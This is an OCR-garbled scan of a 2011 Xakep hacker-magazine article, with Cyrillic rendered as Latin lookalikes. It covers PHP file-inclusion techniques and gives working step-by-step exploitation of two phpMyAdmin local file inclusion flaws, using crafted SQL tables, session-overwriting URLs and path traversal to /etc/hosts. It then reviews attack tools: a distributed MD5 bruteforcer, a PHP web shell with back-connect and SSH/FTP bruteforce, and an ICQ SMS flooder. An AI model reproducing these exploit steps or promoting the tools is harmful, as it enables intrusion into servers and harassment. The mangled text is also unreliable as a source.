BATCHA BO3MOXHbIMU ysi3BuMocTu Tuna LFI/RFI. Hanpumep, BoT Takoi Koz,
BMOJIHEe faeT BO3MOXHOCTb MPOUHKAYAUTL Gaiin /etc/passwd:

function __autoload($class_name) {

require_once $class_name . '.php';
}
call_user_func(array("../../../etc/passwd\@","test"));

KoHeyHoxe, call_user_func() He eanHcTBEHHas GyHKLMSA, KoTopas
noJsly4yaeT B KayecTBe NapaMeTpavMs knacca nnmobbekTa. Kuuncny takux
bYHKLMI TaKKe OTHOCMTCS M MHOrocTpadanbHas unserialize(), npuyem
noNb3oBaTeNlbCKUe AaHHble NONafjalT BTy GYHKLMIO HAMHOIO Yalle, YeM
Bcall_user_func().

OfHaKo 3[eCcb ecTb M HEKOTOPbIE OrpaHnyeHuns. Mpu gecepuannsaunm
obbekTaHa3BaHMe KJlaccanpoBepseTcs Ha BaIMAHOCTb, TakuM 0bpasom,
Mbl He CMOXEM NPOTONIKHYTb B UMEHM 06 bekTa yTo-To BpoAe «../../../etc/
passwd». TeM He MeHee y Hac BMOJIHe NOJyYnTCA NPOVHKIYANTL Gaiin n3
TOro)Ke KaTasiora, rie HaXoAMTCSA U HaLl CKPUNT.

set_include_path() +__autoload()
EcnnyyecTtbBCE HanucaHHoe Bbilwe no nosoay ¢yHkumm set_include_
path(), TocTaHOBMTCS BO3MOXHbBIM UHKYA Nt0ObIX daitnos n3 nioboi
OUPEKTOpUU.

MpeAcTaBNUM, YTO HYXXHOE HaM BEO-NPUI0XKEHNE COQEPXKNT METOA __
autoload, pyHkuuio set_include_path() n pyHkumo unserialize():
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OnucaHmne «HOBOW» MHKNYA-GYHKLUMN spl_autoload() Ha caiiTe kuTaiickux xakepoB 80vul.com

function __autoload($class_name)
{
include $class_name;

}

set_include_path($path.PATH_SEPARATOR . get_include_path());

$cookie = unserialize($_COOKIE['auth']);

[lanee cHoBa NPeANOA0XKNM, YTO Mbl MOXXEM BIUATb Ha NEPEMEHHYI0
$path. Torpa, 3anas $path paBHbIM «/etc/»nnocnas B Kykax 3Ha4yeHue
auth paBHbIM «0:7:"hosts":0:{}», Mbl BNOSIHE CMOXEM NPOUHKNYANTb
dann «/etc/hosts». [laHHbI pakT ONMCcaH He TOSIbKO B OULLMaNbHO [,0-
KyMeHTauum PHP, Takxe HekoTopble MpUMepbl MOXHO HakTU M B 0bCyxae-
HUAx Ha dopyMe rdot.org [cebinky nwm B cHockax). loBopsi 06 __autoload,
HeNb35 He yNOMSAHYTb M 0 Tak Ha3biBaeMblx SPL-dyHKLmMsX, Hanpumep
spl_autoload, KoTopasi MeeT,0BONbHO 3a0aBHYI0 HeJOKYMEHTUPOBaH-
HY0 BO3MOXHOCTb, onucaHHyto elle B 2009 1. Ha caiiTe KUTANCKUX XaKepoB
80vul.com:

<?php spl_autoload('info', ".txt'); ?>
[laHHbIN cLeHapuii BNoJsHe yCMeLwWwHo BbINOAHWUT Ko u3 daiinainfo.txt.

VIRTUALHAA PEAJIBHOCTb
Eweopna PHP-dyHKUNS, KOTOpas no3BoNSeT «NpOUHKAYAUTL» Gaiin, 3To
virtual(). Ha caMoM fie e 0Ha CMITbHO OT/IMYAETCA OT BbILIENEPeYUCTEHHbBIX
KOHCTPYKLMIA, TaK Kak ee MCnofib30BaHue 3KBUBaNeHTHo <!--#include
virtual...-->Bmod_include, ToecTbOHa BCEro NI BbIMOJHAET NOJ-
3anpocApache. cnonb3yetcs faHHas pyHkUMs 45 nogkaoveHns CGl-
ckpunToB, shtml-¢painosnBoobLLe Bcero, 4To MoXXHo 0bpaboTaTth Yepes
Apache. C PHP-daiinamum ata dyHKLMS Takxxe paboTaeT BNOJHE CHOCHO.
EcnnyHacHacepBepe ecTb BOTTaKoR CKpUNT:

<?php virtual('info.php'); 7>

..TonpuobpalleHn K 3ToMy CKpunTy B bpaysep nonageT pesynbraT
BbINONHeHNs GpalinanogHassaHneM info.php.

GOOGLE CODESEARCH

[lnsi noBbIleHUs CBOEro ieBeia barokonaTessi COBETYI0 3aiiTU Ha
google.com/codesearch, BbiGpaTh B KayecTBe s3bika A5 noucka lang:~php$
MMOMCKaTb B}BMXKAX ONMCaHHbIe BCTaTbe OMacHble KOHCTPYKLMM: set_

include_path(), __autoload, spl_autoload(), virtual() nunserialize().
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LFIsphpMyAdmin'e B paiine sql.php

Takxe oTMeyy, yTovirtualnspl_autoload —aTononb3oBaTenbckue
bYHKLMM, TEM CaMbIM UX MOXKHO UCMOJb30BaTb B KayecTBe callback’os.
HanpumMep, virtual MoXHo BbI3BaTb AMHAMUYECKM CllefyioLL M 0bpa3oM:

<?php
$path = 'virtual';
$path('myclass.php');

>
..mnunepepaTbkaknapametpscall_user_func():
<?
call_user_func('virtual', 'myclass.php');
>

Elle oaHa BaXKHas KOHCTPYKLMS, KOTOPas NO3BOASET BbINONHUTL KOA U3
yKasaHHoro ¢aina, atoeval('?>" . trim(file_get_contents('info.txt"))).

B npuHuune, oHa 4aeTTOTXe CaMblii pe3yabTaT, 4TO M UCMOb30-
BaHue include/require, HO NPY 3TOM CYLLLECTBYIOT HEKOTOPbIE HIOAHCHI.
Bo-nepBbiX, 0Ha He ONTUMU3MpPYETCS akcenepaTopamu, TeM caMbiM Mpu
04eHb YaCTOM UCMONb30BAHNW AAHHON KOHCTPYKLMU MOTYT NOSBATHCS
npobnembi c bbicTpofenicTBneM. Bo-BTopbix, Ha file_get_contents() B
eval() He peiicTByeT aupekTuBaallow_url_include, TeMcaMbiM, ecnau
allow_url_fopen = On(gaHHas onyus no feGonTy MeeT UMEHHO Takoe
3HaYeHWe), Mbl BMOJIHE CMOXEM MOAKIIIOYNTL YAaNeHHbI daiin.

KcTatu, UMeHHO 3TOT NPOCTON GpakT 1 aeT BO3IMOXHOCTb Tak NpoCcTo
[06UTbCA BBINOMIHEHNSA KOLLA B U3BECTHOM 3KCnioinTe «phpMyAdmin <=
2.11.9 unserialize() arbitrary PHP code execution exploit» (bit.ly/qW94(9).

PazpaboTunku phpMyAdmin‘a nocnie Bbixofa [aHHON YA3BUMOCTU B
nabnukybpann s kona ceoero BMUXKa TOSbKO INLLIL ONACHY GYHKLMIO
unserialize(), ocTaBnBNpM3TOM HE MeHee onacHbli MeTo load B knacce
PMA_Config 6e3 uameHeHruii. [lpuynHa aToro HenoTpebcTBa KpoeTca B
cnepytLLeM Kycke Kofa us Metosa load:

$eval_result =
eval('?>' . trim(implode("\n", file($this->getSource()))));

if ($eval_result === false)
$this->error_config_file = true;
else
{
072
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$this->error_config_file = false;
$this->source_mtime = filemtime($this->getSource());

}

[laHHbIN KOS BaeTBO3MOXKHOCTb KOPPEKTHOM 06paboTku ownbku
napcutra koHdura [HanucanHom Ha PHP) B cniyyae ero He0CTOPOXHOM
MoaunduKaLuum keM-nmbo.

ToecTbecnn KoHGUr ABUXKa byaeT cogepxaTb OWNOKK, TO Ha IKpaH
BbiBeAeTCcA KpacuBo opopMaeHHoe coobuieHne Buaa «phpMyAdmin was
unable to read your configuration file!» BMecTo «Parse error»,
KoTopoe bbl MosiBMIOCH NpK McMob30BaHUK include’a.

Tenepb, nocyie TOro Kak Tbl HAMOTaJ BCE BbILLIEONMCAHHOE HA YC, iaBait
NPOAOIIKMM HaYaTyio B MPOLLSIOM HOMEpe XXYpHana TeMy MoTPOoLLIeHNs
phpMyAdmin‘a. Kak Tbl y>Ke TOMHWLLb, B Utoae 3Toro roga B phpMyAdmin'e
Haww uenyto nnesgy 6aros, aTakxke HeonucanHble 8 ][ 4Ba foBonbHO
UHTEPECHbIX MHKNYAA. B nabnuke Ha MOMEHT HanWUcaHus cTaTbu UHGOP-
MaLMm 0 HUX HAXOANNOCh AOBObHO MaJo, MPUBOAUANCH UL KYCKM Y3~
BMMOT0 KOZa, 4TO, KOHEYHO, HE PaCKPbIBAET BCEM CYyTH 3TUX YA3BUMOCTEN,
no3ToMy AaBaii pacCMOTPUM nx nobnmxe.

MTak, nepBbIM MO CMUCKY AT NOKaNbHbI MHKNYA B daine ./
libraries/display_tbl.1ib.php.Ysa3BumbiBce Bepcun phpMyAdmin‘a
BnnoTb A0 3.3.10.1 BKNoUYnTEeNbHO M A0 3.4.3 BKIOYNTESNIBHO.

NHbopMaLmio 06 3TOM MHKYLLe MOXKHO HAUTU Ha 0bULManbHOM caiiTe
nBuvxKa B pasgene Security (PMASA-2011-8).

Mpouutasadvisory, naBaii B3rnsHeM Ha naTy, npeAnaraeMbiii paspabor-
unkamu ans setkn 3.3.x (BoobLye cneanTb 3a naTyamMu pa3paboTymkos
BCerAajoBosIbHO MHTEPECHO, TaK KaK TaM BCErfa MOXKHO HalTh LeCATKU
MaloN3BECTHbIX MYXKe MOPUKCEHHbIX 3epodees).

CaMnaTyBbIIISANT MTPUMEPHO TaK:

./libraries/display_tbl.lib.php (phpMyAdmin 3.3.10)

if ($GLOBALS['cfgRelation']['mimework']

&& $GLOBALS['cfg']['BrowseMIME']) {

if (isset($GLOBALS['mime_map'][$meta->name]['mimetype']) ... ) {

-$include_file = $GLOBALS['mime_map'][$meta->name]
["transformation'];

+$include_file = PMA_securePath($GLOBALS['mime_map'][$meta->name]
['transformation']);
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Co3paHue «apo0BuTOIN» Tabnuubl B phpMyAdmin

require_once './libraries/transformations/' . $include_file;

/I3 npuBefeHHOro Bbille Kof,a CTAHOBUTCSA ICHO, YTO A1 peanu3aLuum

LLaHHOT0 JI0KaNbHOr0 UHKYAa HeobX04MMbI CleAytoLLMe YyCNoBUS:

1. $GLOBALS['cfg']['BrowseMIME'] == true.Cpa3y ckaxy, 4To3Toycno-
BMe 00bIYHO OyleT BbINOIHEHO, Tak Kak B paine ./libraries/config.
default.php ykazaHHas nepemMeHHas NoyMoa4aHWio BbiCTaBAEHa B
true. BansaTb Ha 3Ty nepeMeHHyo Mbl He MoXXeM. EcnivagMuH cMeHnn ee
3HaveHune B config.default.php, vHKNyA NONyYnTL yXKe He yacTca.

2. DonxHbl bbITb oNpefeneHsl Maccusbl $GLOBALS['cfgRelation'] u
$GLOBALS[ 'mime_map']. Maccus $cfgRelationurpaet goBonsHo
BaXKHYI0 POJib BO BCEX YSI3BUMOCTSX, 0 KOTOPbIX MOMAET peyb, MO3TOMY 5
nofpobHo onuLLy, Kak1M xe 06pa3oM oH popMupyeTcs.

MTak, paHHbl MaccuB 3agaetca dyHkumnei PMA_getRelationsParam(),
KoTopas, BCBO 04epefb, onpefensetcs B panne ./libraries/relation.
lib.php:

function PMA_getRelationsParam($verbose = false)
! if(empty($_SESSION['relation'][$GLOBALS[ 'server']]))
! $_SESSION['relation'][$GLOBALS['server']] =
PMA__getRelationsParam();
iGLOBALS['cngelation'] = $ SESSION['relation'[$GLOBALS['server']];

return $_SESSION['relation'][$GLOBALS['server']];

EcnveMaccuse $_SESSION He 3apaH aneMeHTrelation[$GLOBALS
['server']], TooH 3afaeTcanocpeacTBOM GyHKLUUM PMA__
getRelationsParam. Ecnuike aToTaneMeHT3aAaH, TO OHNPoCToO
Bo3Bpalaetca. PyHkumna PMA__getRelationsParam onpepenser
MaccuB $cfgRelation, pykoBofCTBYSICb 3HAYEHUEM MepeMEHHO
$cfg['Servers'][$i][ 'pmadb'].

Ecnu3HayeHune aTol nepeMeHHON He 3aiaH0, TO BCE 31EMEHTbI
MaccuBa $cfgRelation bygyTumeTb3HaueHnsa false nau null. Ecan
xenepeMerHas $cfg['Servers'][$i]['pmadb'] onpepeneHan goctynHa
cooTBeTCTBYloLas ba3a faHHbix, ToMaccus $cfgRelation onpepe-
NAeTCA BCOOTBETCTBMM C3TON 6a30i AaHHbIX. TakuM 0bpasom, ecnu
Mbl XOTWM 3aHecTu B MaccuB $GLOBALS[ 'cfgRelation'] HyXHble HaM
3HaYeHuUs, y Hac JosKHa BbITb BO3MOXKHOCTb Nepe3anmncu nepeMeHHbIx

XAKEP 10/153/2011

BMaccuBe $_SESSION unv fosxeH bbiTb 4OCTYN K 6a3e faHHbIX N0 Ha-
3BaHuem «phpmyadmin» (Boobue 3Ta basa AaHHbIX MOXKET Ha3bIBaTbCA
MNO-APYroMy, Tak Kak ee Ha3BaHue onpefensieTcs KOHPUrypaLMoHHON
nepemeHHoii gBnxka $cfg['Servers'][$1i]['pmadb']).

BaXHO0 0TMETUTb, YTO y)Ke N3BECTHasA Tebe nepe3annch NepeMeHHbIX
MaccuBa $_SESSION B dyHKLMK parse_str(), obHapyxeHHas Mango,
MMeeTMecTo BTex xe Bepcusax phpMyAdmin‘a, 4To M paccMaTprBaeMblit
nHKNyA. TakuM obpasom B $cfgRelation MblcnerkocTbio MoXXeM 3anu-
caTb HYXXHble HaM iaHHble.

EAVMHCTBEHHOE, 4TO eLLe HYXKHO 3HATb, 3TO 3HAYEHWNE NEPEMEHHON
$GLOBALS[ 'server']. 3TanepemMeHHas onpejenseT, C KaKUM CEPBEPOM
6a3bl faHHbIX Mbl byfeT coegnHaTbes. 06bi4Ho phpMyAdmin coefnHaeTcs
CeANHCTBEHHbIM CEPBEPOM, ¥ 3HaYeHWe 3To nepeMeHHoN byaeT pasHo 1.

B kope fBWKKa NpefyCMOTPeHbl pa3fnyHble BapuaHTbl paboTbl cOMHO-
rMMUW cepBepamu, No3ToMY, 4T06bl TOYHO 3HaTb 3HaYEHWE 3TOV NepeMeHHON,
HaM 40CTaTOYHO B3MNISHY Tb Ha KYKWCbI, BbliCTaBAeHHble Ham phpMyAdmin'om:
‘pmaUser-' . $GLOBALS['server']u 'pmaPass-' . $GLOBALS['server'].

Wpnem panbue.

MaccuB $GLOBALS['mime_map'] 3agaeTcs c noMoLLbio GyHKLMM PMA_
getMIME():

./libraries/transformations.lib.php
function PMA_getMIME($db, $table, $strict = false)
{
$com_qgry = '
SELECT “column_name’,
“mimetype’,
“transformation’,
“transformation_options’

FROM ' . PMA_backquote($cfgRelation['db']) .

"." . PMA_backquote($cfgRelation['column_info']) . '

WHERE “db_name™ = \"' . PMA_sqlAddslashes($db) . "\

AND “table_name” = \'"' . PMA_sqlAddslashes($table) . "\'

AND ( “mimetype” != \"\"' . (!$strict ? '

OR “transformation™ !=\'\'

OR “transformation_options® !=\"\"": ") . ")';
return PMA_DBI_fetch_result($com_gry, ‘column_name’,
null, $GLOBALS['controllink']);
¥

Ecnu Mbl xoTuM, 4TobbI Maccus $GLOBALS[ 'mime_map'] copepxan
HY)XXHble HaM JaHHbI€, Mbl [LOJKHbI CO3[1aTh CBOO MPOU3BOJIbHYO Tabnuuy B
B[l.Ecnv3Ta BO3MOXHOCTbY Hac eCTb, TO N0KaNbHbIA UHK Y BNOJSIHE BO3-
MOXeH. Tenepb camMoe BpeMs BbIICHUTb, Kak M KOra Bbl3blBaeTCH PYHKLNS
PMA_displayTableBody.
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Mocne HebonbLIOro noncka no KoAy CTaHOBUTCS ACHO, YTO CaMblil yA06-
HbIV 15 HaC BbI30B 3TOM GYHKL MK NponcxoanT B daine sql.php:

//nopkn4aeTca Gaia C HYXHbIMU HaM QYHKLMAMM
require_once './libraries/display_tbl.1lib.php';

//ecnvu 3apaHa BJl, To co3gjaeTca BaxHblii Ana HAac maccuB $cfgRelation
if (strlen($db)) {
require_once './libraries/relation.lib.php';
$cfgRelation = PMA_getRelationsParam();
}

PMA_displayTable($result, $disp_mode, $analyzed_sql);

OyHkunsa PMA_displayTable 3apaHaB daiine ./libraries/display_
tbl.1ib.php, He byny npuBoANTL 3jeCh e KOJ, CKaXy INLLb, YTO 3[eChb Xe
Bbi3biBaeTca GyHKLMA PMA_displayTableHeaders, B koTopoii v dopMupy-
eTCs HYXHbI HaM MaccuB $GLOBALS['mime_map'].

MEPBbIN MHKJTYL: MTPAKTUKA
M3 BbllenepeynceHHOro ciefyeT, 4To AN BbINMOHEHWS 10KaNbHOM0
WHKNYAa Mbl BO/KHBI TPOVU3BECTU Cefyolne AeAcTBUS:
1.ABTopu3oBaTbcsa B phpMyAdmin'e n co3gaTh aBe Tabnuubi B focTyn-
HOM HaM 6a3e faHHbIX.

MepByto Tabnnuy Mbl byfeM BbIBoAUTb, 0bpaLyasce K sql.php 1 Bbi3bI-
Basi TEM CaMbIM HY)XXHble HaM QYHKLMK:

CREATE TABLE 'test'.'integer' ( '1' INT NOT NULL ) ENGINE = MYISAM ;
INSERT INTO 'test'.'integer' ( '1' ) VALUES ( '1' );

BTopas Tabanua HyXxHa HaM 415 CO34aHUS KOPPEKTHOr0 MaccuBa
$GLOBALS[ 'mime_map']:

CREATE TABLE 'test'.'pmatest' ( 'column_name' INT NOT NULL ,
‘mimetype’ INT NOT NULL , 'transformation' TEXT NOT NULL ,
'transformation_options' INT NOT NULL , ‘db_name' TEXT NOT NULL,
"table_name' TEXT NOT NULL ) ENGINE = MYISAM ;

INSERT INTO 'test'.'pmatest' ('column_name', 'mimetype’,
'transformation’, 'transformation_options’, 'db_name',
'table_name') VALUES ('1', '1', "../../..[..[..[..[..]../etc/hosts’,
'1', 'test’, 'integer');

Brnonetransformation Mbl 4oMKHbI yKa3aTh MyTh 0 JIOKaIbHOTO
¢daiina, snone db_name —wumsaTON 6a3bl aHHbIX, KOTOPOA MPUHAANEXNT
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nepeasTabnuua, Bnone table_name —wumMsnepson TabnnLbl.

Hanuyne B 6ase gaHHbIx Takov TabnuLbl N03BOANT YHKL MK
PMA_getMIME BepHYTb HYXHbI/ HaM MaccuB $GLOBALS[ 'mime_map'].
2.Mepeonpepenntb $_SESSION['relation'] nTeM caMbiM copMupo-
BaTb HY)KHbIW HAM MaccuB $cfgRelation.

3T0MOXHO CAeNaTh JOBOJIbHO NMPOCTO.

He Bbixoas n3 PMA, oTkpbiBaeM HOBYt0 BKNafKy B bpaysepe nsbueaem
TyfaTaKyto CCbKY:

http://phpMyAdmin/index.php?token=<Tekywmit TokeH>
&session_to_unset=<*x*>& SESSION[relation][1][commwork]=1
& SESSION[relation][1][mimework]=1& SESSION[relation][1]
[db]=test&_ SESSION[relation][1][column_info]=pmatest

[MoapobHee o nponcxofsLLeil C MTOMOLLbIO TAKOr0 METOAA Mepe3anucu
rnobanbHbIX NepeMeHHbIX YATalk B NpeblAyLIeM HOMEpe XypHana.
3.MponHKNyanTL NoKanbHbIi aiin, nepeinas no ceoinke http://
phpMyAdmin/sql.php?db=test&table=integer&token=<TeKywuu TokeH>.

EcnuBce npowno HopManbHo, To 4y Tb Bblle Tabnuubl integer nosBuT-
csicopepxumoe panna /etc/hosts.

BTOPOVN NHKYL,

CnepyroLwmnii KNacCHbIA MHKNYL, KOTOPbIA Mbl PACCMOTPUM, SBNISETCS
obwum gns sceit 3.4.x-eTkn phpMyAdmin'aBnnots go Bepcumn 3.4.3.1
BKJIto4MTENbHO. CHOBA 3aX0AWM Ha 0pMLMabHbIA CalT BUXKKA U ULLEM
advisorynop Ha3zeaHnem PMASA-2011-10. OnaTb CMOTPUM Ha NaTy, npef-
naraemblil pa3paboTynKoM, M MOHWMaeM, 4To NPoBAEMHbIM ABASETCS
cnepyowminkon B daiine sql.php:

$mime_map = PMA_getMIME($db, $table);

foreach($mime_map as $transformation) {
$include_file = $transformation['transformation'];

if (file_exists('./libraries/transformations/' . $include_file)) {

$transformfunction_name = str_replace('.inc.php’, "',
$transformation['transformation']);

require_once './libraries/transformations/' . $include_file;

Y1066l fo6paThCs LO3TOr0 KOAA, HAM HE0DXOAMMO MPONTH CiefytoLmne
npoBepKu:

1. $GLOBALS['is_ajax_request'] == true .Jlerko noHaTb, 4T0 AN5 yA0-
BJIETBOPEHUSA 3TOr0 YCNOBUS Mbl A0JKHbI NepefaTh CKPUNTY HENYCTo
napametpajax_request.

2. @ == $num_rows || $is_affected.TyTyHacnsaBapnaHTa: obpa-
weHve k Tabnuue 6es3anvcein, M B HaweM 0bpaLLleHUN K CKpUNTY
BOJKeH bbITb Kakoi-nunbo sql-3anpoc. MepBblii BapraHT NpoCcTon,
BTOPOM HEMHOTO C/TOXHee (3KCMNONT 411 BTOPOro BapuaHTa Uu B
cHockax).

Pa306paBLunCch CyCN0BMAMM, HAM OCTAETCA TONIbKO BCMOMHUTb, YTO
byHKUMA PMA_getMIME HaMyse BCTpeYanachBbile M4To AN GOpMM-
POBaHMS HY>KHOr0 HaM MaccyBa $mime_map Mbl LOJIKHBI UMETH AOCTYN
k 6a3e faHHbIX phpmyadmin nan UMeTb BO3MOXXHOCTb MaHUNyNNpoOBa-
HUS aneMeHTaMmn Maccuaa $_SESSION. MpuyeM pocTyn K 6ase faHHbIX
phpmyadmin HaM HeobxoanM Tonbko B Bepcuun phpMyAdmin 3.4.3.1, Tak
Kak B 6oniee paHHUX BEPCUSX CYLLECTBYET BO3MOXHOCTbL Nepe3anncu
rnobanbHbIX NepeMeHHbIX.

MTak, BOTOAMH U3 BApMaHTOB UCMOb30BaHWS LAHHOTO MHKYAA ANS
Bepcuun phpMyAdmin 3.4.3:
1.JlornHumcsa B phpMyAdmin u co3paaeM Hy)XXHYto HaM Tabnuuy:

CREATE TABLE 'test'.'pmatest' ( 'column_name' INT NOT NULL ,
'mimetype' INT NOT NULL , "transformation’ TEXT NOT NULL ,
'transformation_options' INT NOT NULL , 'db_name' TEXT NOT NULL,
"table_name' TEXT NOT NULL ) ENGINE = MYISAM ;
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Matyans LFl-ya3suMocTei B phpMyAdmin'e

INSERT INTO 'test'.'pmatest' ('column_name', 'mimetype’,
'transformation’, 'transformation_options’, 'db_name’,
"table_name') VALUES ('1', '1', '/../../..[..[..[..[..[etc/hosts’,
'1', "test', '<uma nycToit Tabauupl, K KOTOpO Mbl Byaem obpawatbesa>');

2.3anucbiBaeM B CECCUIO HYXKHbIe HAM AaHHbIE M TeM CaMbIM popMupyeM
noJsie3HbIA AN fanbHedmnx aeiicTBui MaccuB $cfgRelation:

http://phpMyAdmin/index.php?token=<Tekywuin ToKkeH>
&session_to_unset=<*x*>& SESSION[relation][1][commwork]=1

& SESSION[relation][1][mimework]=1& SESSION[relation][1][db]=test
& SESSION[relation][1][column_info]=pmatest

3.3axoAuM no crieayioLeil CCbiIKe M MHKYANM HYXKHbIe HaM flaHHble:

http://phpmyadmin/sql.php?do_transformations=1&ajax_request=1
&table=<TyT uma nycTon Tabanub>&db=test&token=<BanugHoii ToKeH>

B obuieM, 3TOT UHKIIYL UMEET TY XKe CaMyto MPUpPOoAY, YTO M Npeablay-
LW, TaK KAK OCHOBHAs MPUYMHA €ro MosiBeHUs — 3TO BO3MOXHOCTb
MaHWNyMpoBaHus 3HaYeHnsaMu B MaccuBe $cfgRelation.

Takxe Mory HaMekHyTb Tebe, 4To 06a onncaHHbIX HKAYLa B

XAKEP 10/153/2011

phpMyAdmin kpaiiHe onacHbl Ha shared-xocTuHrax. 3aecb 0TKpbIBa-
eTCA OrPOMHbIN NPOCTOP ANA AeACTBNIA: Thl MOXELb NPOCTO 3aperaTh
CBOW aKKayHT Ha TOM Xe cepBepe, re Haxo4uTcs CalT KepTBbl, @ 3aTeM
NoMMeTb 3TOT CaMblii CaiT C NOMOLLbIO e PONTHOM A1 TAKUX XOCTUHTOB
cucteMbl ynpasneHns MySQL 6asamu fanHbix phpMyAdmin.

BoTTak, foporoi yntatenb. Ha cerogHsaWHWN fleHb TeMa, Ka3anoch bbl,
TakoronsbuToro bara, Kak 10KaNbHbIA/yaaneHHbIN NHKIYL, KUBET 1
npougeTaeT. [0OCTOAHHO HAXOAATCH HOBbIe cnocobbl 3KCNAyaTauuu,
OTKPbIBAIOTCSH HEUCMONb3YeMble paHee BO3MOXHOCTU fA3bika PHP, a
TaK)Xe HEYKJIOHHO NOBbILIAETCSH YPOBEHb 3HaHMI barokonaTteneii no
BCEMY MUPY.

0cob0o CcTOUTOTMETUTL TOT GaKT, YTO LaXKe B TAKMX pacnpoCcTPaHeHHbIX
LBMXKax, Kak phpMyAdmin, v no ceil feHb BCTpeYaTCa ya3BUMOCTY iaH-
HOroT1Na.3TunpocTblie pakTbl FOBOPST O TOM, YTO pa3paboTynku copta
He yaensioT OSKHOM0 BHUMAHWS 3TOMY TUMNY YS3BUMOCTEN U HE XOTAT NPo-
LlyMaTb BCE BO3MOXKHbIE BapMaHTbl Nepeayv aHHbIX B onacHble GyHKLUK.
Kak 6b1710 NOKa3aHo BblLLe, UX CYLLeCTBYeT HEMao.

KoHeyHo, HaX0AUTb MHKNYAbl CTAHOBUTCS BCE CI0XKHEE U CNOXKHee,
HO fiHafeCb, YTO faHHasA CTaTbsA MOATONKHET TebS K HOBbIM MCCefo0-
BaHWAM. 3T
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COOTANIAB3JIOMAMU
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cOnDifesa

PACMPE[EJIEHHbLIN
BPYTOOPC DEFBRUTE

OyeHbyacTonepef HawwuM bpaToM BCTaeT3apaua
BOCCTaHOB/IeHWsi cTpokyu no ee MD5-xewwy. He
MeHee YacTo TakKas 3afaya ycrneLHo BbIMosIHAeTCs
crnoMolblo pa3HoobpasHbix cnoBapei, pa3bpocaH-
Hbixno CeTn. Hoyto genatb, ecnutakoi nepebop
pacTsrnBaeTCsi Ha HeonpeeeHHO AOTUIA CPOK U B
CNOBapAX NPOCTO-HANPOCTO HET UCKOMOMN CTPOKK?
HaMocTaeTcsi To/1bKO NOCUMBOIbHASA reHepaLus
CTPOK 1 CPaBHeHMeE NX XeLla C Lies1eBbIM. ITOT Npo-
Liecc nHasbiBaeTcs bpytdopcom.

BbinosHeHKe gaHHoro npoLeccaHa ofHoM Ma-
LWWHE BbITNSANT MO MEHbLUe Mepe HepaLMoHabHO,
no3ToMy sl v cnelly npeAcTaBuTbTebe cnelnanbHoe
nporpaMMHoe CpefcTBO, NpefHa3HayeHHoe 4s
bpyTdopca Ha cpa3y HECKOIbKUX MaLLMHAX.

Wtak, DefBrute—aTto cuctema pacnpegeneHHoro
nepebopactpok ansa MD5-xewein. laHHas cuctema
COCTOMT U3 CePBEPHON N KIMEHTCKOW YacTen.

CepsepHas yacTs ([DefBrutev1.0.exe) Boinontser
byHKLMM reHepaLuu, y4yeTa v nepefaym gnanaso-
HOB CTpoK knuneHTaM. KnueHTt ans DefBrute npega-
cTaBnseT coboi KOHCONIbHOE NpUNoXeHue, popmat
3anyckaKoToporo cieayoLui:

defbc.exe <server ip> <server port>
Takxe HacTosiTeIbHO peKoMeHAylo Tebe npoun-
TaTb HaxoAswWyocs noagpecy www.defec.ru/node/4

cTaTblo aBToOpa 06 0coOeHHOCTAX GYHKLMOHMPOBA-
HUS M NpoLiecce CO3AaHNS NPOrpamMMbl.
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profexer

PHP-BEB-LLUEJIJTP.A.S.

OyeHbpaBHO BHalWMX 0630pax He bblf0 HUKaKMX
Beb-lwensoB. HacTano BpeMsi UCNpaBUTL 3TO HeA0-
pasymeHue. Bctpeyaem: P.A.S. [phpweb-shell) ot
Membepa dopymardot.org profexer’a. MomMumo Bceit
CTaHAapTHOM GYHKLMOHANBHOCTY, LN nMeeT paj,
duwek:

1. ABTopu3auusnokKykmcam.

2. WundpoBaHue wennaTBOUM COBCTBEHHBIM
KntoyeM: noagpecy bit.ly/r36L.3k MoxHo cobpaTb
LWeN CYHMKaNbHbIM NaponeM. Anaposb ans
LenaHaHalweM gncke —«1»,

3. QaiinoBblil MeHeKep NofaepXK1BaeT rpynno-
BOe yfasieHne, nepeMelleHune, KONMpoBaHue,
CKayunBaHue 1 3arpysky pannoB v JUPEKTOPUNA.

4. SQL-knuenT gnaMySQL, MSSQL, PostgreSQL,

ynobHo gamnute B nTabnuubl.

Bind port (Perl).

Back-connect (Perl).

Portscanner (PHP).

BruteForce HaocHose /etc/passwd gns SSH,

FTP, POP3, MySQL, MSSQL, PostgreSQL

CBO3MOXHOCTbIO HACTPOEK.

9. BbinonHexue komaHa OCu PHP-kopa
pa3fnyHbIMK cniocobamu.

10. Manbiit pasmep (15 K6).

© N oo

KpoMe aToro, Henb3s He 0OTMETUTb YA00HbI
ACKeTWYHbIA AN3aliH CKpUNTa: YepHbI LBeT v Bep-
CTKa Mo LLeHTpy 9KpaHa Bcerfa bbinn m byayTcambimM
YAOOHBIM BapuaHTOM.
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ICQ SMS-OJIYOEP

Ha ouepenu elie ofHa KnaccHas nporpamMmMa ot no-

CTostHHOro purypaHTa Hawen pybpuku Zdez Bil Ya.

Kak sicHo n3Haseanus, ICQ smsflooder —aT0 cMc-

dnynepmobunbHoroTenedoHa, paboTatoLmninyepes
npotokon ICQ. OcobeHHOCTH N GYHKLMOHAN TYN3bl:

e nopapepxusatTcs Homepa MTC, bunaittan

MeradoHa;

e oauHHomep|CQno3sonseToTnNpaBuTh 5 CcMC;

* TekcTaboHeHTy npuxoauTBBuae “(*npedukc*,
icq) *Tekct*”;

¢ MHOronoTOYHOCTb;

®  CTAaTWCTUMKA OTNPaBKM CMC («B3bI» U «ryfbl»).

MakcumManbHas fnHa TEKCTA, KaK 1 BO BCEX
CTaHAapTHbIX CMcKax, cocTaBnseT 160 cumBosoB
(natuHmueit) nnn 70 cumeonos (lOHUKOLOM, PyCCKU-
MU CUMBOIaMM).

[naHavanapaboTtblcyTunnuTonTebe He HyXHbl
HUKaKuWe cneumnanbHble 3HaHKs. [locTaToOYHO NnLlb
BOUTb HOMep Ans dnyaa, Homep nnapons ICQ,
BBECTUTEKCTSMS, BbIOPaTh KONMMYECTBO MOTOKOB
M HaXaTb Ha KHOMKY C 3es1eHoi cTpenkoi. lanble
dnynepBCE cnenaeT3aTebs.

Takxe B koMnnekTe ngetnporpamma «ICQsms
check»gnsot6opaHoMepoB c AoCcTyNHbIMU SMS.
PaboTacy4ekepoM ToXe BbIFISAUT [OCTAaTOYHO TPYU-
BUasbHO: BbIOMpaeM MCXoLHbIV daiin c HoMepamm
TenedoHOB, BbIGMpaeM NOTOKYM, BBOLUM NyTb ANS
coxpaHeHus daiinacpesynsTaTaMy NPoOBEPKU 1
Ha BbIXofe NMojlyYaeM HoMepa, NoAXoAsLMe A5
